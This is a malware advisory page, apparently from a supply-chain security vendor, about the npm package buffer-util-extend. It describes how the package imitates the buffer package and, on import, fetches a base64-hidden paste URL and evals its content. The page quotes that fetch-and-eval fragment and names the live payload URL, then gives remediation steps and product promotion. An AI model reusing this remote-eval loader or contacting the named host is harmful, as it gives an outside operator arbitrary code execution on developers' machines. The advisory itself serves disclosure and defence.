buffer-util-extendnpm
Malicious code in buffer-util-extend (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On require/import, index.js decodes a base64 string literal to https://www.jsonkeeper.com/b/CWOV9, fetches that anonymous JSON paste, and passes the response's content field to eval() (index.js:46 stores the base64-encoded URL; index.js:59-65 performs fetch(atob(...)).then(t=>t.json()).then(data => eval(data.content))). Any consumer that requires this package executes whatever JavaScript is currently hosted at the mutable paste URL — full arbitrary code execution on the installer/build machine, with the operator able to swap payloads at any time without republishing the package. The package additionally impersonates the widely-used buffer package: it copies Feross Aboukhadijeh's authorship metadata, homepage https://github.com/feross/buffer, the README references, and the Buffer polyfill source verbatim, while adding unrelated dependencies (axios, request, execp) and the remote-eval payload. Name-confusion against a top-tier npm package combined with concrete import-time RCE makes this a deliberate supply-chain attack.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'buffer-util-extend' @ 1.0.8 (npm) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for buffer-util-extend (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging buffer-util-extend across your stack and pipelines.
If you installed it — respond
buffer-util-extend is a typosquat — you almost certainly intended a legitimately-named package. Remove buffer-util-extend, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If buffer-util-extend was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks buffer-util-extend before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks buffer-util-extend-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.